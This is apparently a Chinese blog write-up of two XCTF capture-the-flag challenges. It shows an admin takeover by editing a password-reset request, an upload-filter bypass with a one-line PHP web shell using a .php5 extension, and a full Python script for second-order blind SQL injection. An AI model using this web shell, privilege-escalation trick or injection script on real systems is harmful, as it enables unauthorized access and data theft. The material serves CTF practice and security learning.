最近忙着入职和处理一些杂事,更新的确比较少了。不过在周末还是正好有空的,正好刷刷XCTF。
目录
XCTF BUG
注册账号
越权漏洞
?文件上传
XCTF UFINISH
?
XCTF BUG
首先进行常规的信息收集:F12查看源码,robots.txt 文件,无果,
简单注入语句 无果 考虑到登陆界面是否有二次注入
burpsuite 简单抓包 发现cookie中只存在一个SESSION
尝试弱口令无果。
所以只能从网站的功能落手了。
注册账号

登陆进去把所有功能都点一下。

?点击manage 模块 提示要以admin 登陆
?
越权漏洞
那么排除弱口令和注入的情况下,该怎么才能以admin身份登陆呢?
思路比较重要,毕竟CTF都是有答案的,不像一些站的关键模块怎么都早不到洞(原谅我的确菜)
?
点击findpwd? 填好们之前注册的账号信息

?点击 verify 按钮,抓包 把用户名 user 修改为admin 密码123456

可以看到返回包中显示修改成功。
以 admin 123456 登陆 进行下一步。
?文件上传
点击manager功能,查看源码

?moudle(是功能模块的意思)
这里也同样需要一个经验
module=filemanage&do=???
让我们差功能模块是什么??? 根据经验(write up)是 upload
进入
url/index.php?module=filemanage&do=upload
然后发现一个文件上传模块
简单尝试发现过滤规则
- 文件内容有前端验证 只能上传图片文件 我们可以上传一张图片改后缀
- 文件名存在后端黑名单? 但可用php5 绕过
- 对文件内容有检测 不能有<?php>
针对以上过滤
- 创建一个 <script?language="php">system($_GET['aaa']);</script>? php文件
- 修改后缀为jpg,上传burpsuite 改包,后缀修改为 。php5
- 点击发包即可获取flag

?
?
XCTF UFINISH
信息收集

?从上图可以知道是sql注入
查看源码,没啥关键的,尝试sql注入语句,发现对关键符号都有着过滤,而且必须要包含一个@符号
尝试了几个语句 发现绕不过(我觉得就算是能绕过我也绕不过|o--o|)
dirsearch-master 扫下目录

?先注册一个账号起

?
?这次总不是一张吊图了。查看源码发现没什么,但这里显示了我们的用户名

?很大程度像二次注入了
buuctf XCTF October 2019 Twice SQL Injection 二次注入原理+题解_AAAAAAAAAAAA66的博客-CSDN博客
?
开始试验一下

?难点:把注入语句写在引号里面这里,不过上图中的数据是注册不成功的,但坑的一点是不会报错,所以得不断尝试。
也就是说fuzz这个过程比较困难。过滤了 information_schema 逗号等
所以采用 + 和ascii 布尔盲注的形式
select '0'+ascii(substr(database(),1,1));
[网鼎杯2018]Unfinish - 夜幕下的灯火阑珊 - 博客园
所以直接借用大佬的脚本。(以后必须得学学这种注入脚本的写法)
#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time
url = 'http://111.200.241.244:58602/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
html = r3.text
soup = BeautifulSoup(html,'html.parser')
UserName = soup.span.string.strip()
if int(UserName) == 0:
break
m += chr(int(UserName))
print(m)
time.sleep(1)
?参考链接
2018 网鼎杯 unfinish - 知乎
[网鼎杯2018]Unfinish_fmyyy1的博客-CSDN博客
xctf-bug(绕过)_lzbzzzzz的博客-CSDN博客
|